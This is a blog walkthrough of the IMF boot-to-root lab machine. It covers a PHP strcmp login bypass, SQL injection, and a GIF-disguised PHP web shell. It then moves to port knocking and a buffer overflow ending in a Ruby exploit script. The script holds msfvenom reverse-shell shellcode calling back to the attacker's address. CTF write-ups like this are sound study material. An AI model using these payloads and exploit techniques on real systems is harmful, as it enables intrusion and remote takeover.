# B2R: IMF Walkthrough

## November 1, 2016 by Alex Flores

After mapping the network and finding our IP address at 192.168.1.162, we can add it to our /etc/hosts temporarily to make things a little easier for us.

echo "192.168.1.162     imf" >> /etc/hosts


Lets see what kind of machine we’re dealing with.

Ok, so web only. Great. nikto didn’t reveal any low-hanging fruit so let’s dive into the source.

Check that out! Our first flag was hidden in http://imf/contact.php. This looks like base64. After decoding we get the clue allthefiles. Lets keep looking.

Going back to the source code, I found a javascript file that also looked like it was base64 but it didn’t return any results. After a while of going in circles I took my dog for a walk and pondered about what ‘allthefiles’ could mean. When I came back and looked over the source code again, I saw this:

All the files, ey?

If we visit that directory on our webapp

Ok, no DB here. We’re dealing with a hardcoded password which means we’re dealing with an equaltiy operator on the backend or possibly the strcmp() function. I messed around with nullbyte string termination exploits here for a while but ultimately ended up nowhere. Let’s assume we’re dealing with strcmp since it’s easier to fool a function than to fool an operator.

I’m not very good with PHP, but I’m guessing that I need this function to return a 0 so I fired up repl.it and started trying to break it. Turns out if you feed it the wrong type (it expects two strings), it seems to return a 0.

So if we can feed this function an array from the web form, we might be able to bypass the password check. By changing the name of the form’s password field from pass to pass[], we can do just that.

With the modified form, a BS password, and a username from the Contacts page, we get…

The decoded flag just has us click through to the CMS

[email protected]:~                                                                                                                                                                                     ⍉
❯❯ echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms


The CMS has 3 pages to choose from and none of them seemed to have any relevant info. I tried (too long) to use LFI exploits here, modifying URLs, headers, HTTP methods… nothing. I was trying to enter an empty pagename for like the 100th time when I fat fingered the “enter” key and hit ' + Enter at the same time when I saw this:

SQL! Alright, fired up sqlmap

Looks like we have an image at imfadministrator/images/whiteboard.jpg

The QR Code is our next flag flag4{dXBsb2FkcjkOMi5waHA=}

[email protected]:~                                                                                                                                                                                     ⍉
❯❯ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d


We navigate to http://imf/imfadministrator/uploadr942.php and we get our uploader. After messing around with it a bit we can see that the response html from a successful upload has a hash of some sort. I’m guessing its the hashed version of the filename in the /uploads folder.

Maybe we can craft a malicious image with a reverse_tcp meterpreter payload then insert the new page into our db so it gets executed.

Haha! Whoops. Alright what about just regular command execution:

cat <<EOF > muahaha.gif
GIF89a
<?php \id\ ?>


Since CrappyWAF detects functions calls, we should modify our script to take the command from a query parameter. Let’s replace id with $cmd=$_GET['cmd']; echo \$cmd and try again.

Lets get a shell that’s easier to work with with msfvenom.

It’s time to get a sense of the machine we’re in. “Presence”

• interesting processes - knockd, sshd
• interesting files (world readable, executable root files, etc) - /usr/local/bin
• cat /usr/local/bin/access_codes #> SYN 7482,8279,9467
• /usr/local/bin/agent - connect to some sort of agent portal; download it
• listening ports netstat -plnt - 7788

It looks like we’ve got a hidden service running on 7788. To enable it, we have to ‘knock’ in the right order so the firewalll opens up. If we send SYN packets to 7482 8279 9467, it might open up.

We can see on line 49 where the authentication happens. It’s comparing against a string that was defined on line 37, 0x2ddd984. If we pop this into an online hex converter, we get 48093572

After navigating through our binary, we have a place where we have user input. This is looking like it’s going to be a buffer overflow exploit. Once we download our application and run it through gdb, we confirm that the report function is vulnerable.

Bingo. Plug 0x41366641 into pattern_offset we see that our buffer ends at 168, meaning our EIP register is at 169. If we inspect the assembly for the report function, we see that our report string is stored in EAX. Because we have control of both EIP and EAX, it makes sense that we use this control to point one to the other. We can place our exploit at the beginning of EAX by simply injecting it as the “report”. We’ll then pad the input string until it’s 168 characters long. Then, well tell EIP that it should return to the beginning of EAX where our payload is waiting. If we search to see if EAX is ever called, we can use that address in EIP.

Lets generate our shellcode and start to write the exploit.

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.161 LPORT=4444 -f ruby -b "\x00\x0a\x0d"

require 'socket'

host = '192.168.1.162'

if ARGV[0] == 'knock'
[7482, 8279, 9467].each do |port|
puts "knocking on #{port}"
nmap -Pn --host_timeout 201 --max-retries 0 -p #{port} #{host} &>/dev/null
end
end

buf =
"\xda\xd4\xd9\x74\x24\xf4\x58\xbb\xc8\x28\xf5\xc3\x29\xc9" +
"\xb1\x12\x31\x58\x1a\x83\xc0\x04\x03\x58\x16\xe2\x3d\x19" +
"\x2e\x34\x5e\x09\x93\xe8\xca\xac\xa3\x69\x83\x50\x0e\xf5" +
"\x04\xc9\xf9\x36\x82\xef\x58\xde\xd0\xef\x8b\x43\x5d\x0e" +
"\xc1\x1d\x05\x81\x47\xb5\x3c\xc0\x2b\xf4\xbe\xb1\xab\xbf" +
"\xbe\xa5\xb3\xbf\x37\x26\x72\x54\x4b\x68\x96\xa7\xe3\x17" +
"\x94\x38\x58\x61\xc7\xa0\xe8\x7d\xb8\xd0\xd9\xfe\x47\x37"

eip = "\x63\x85\x04\x08"

exploit = buf + "A"*70 + eip

s = TCPSocket.new(host, 7788)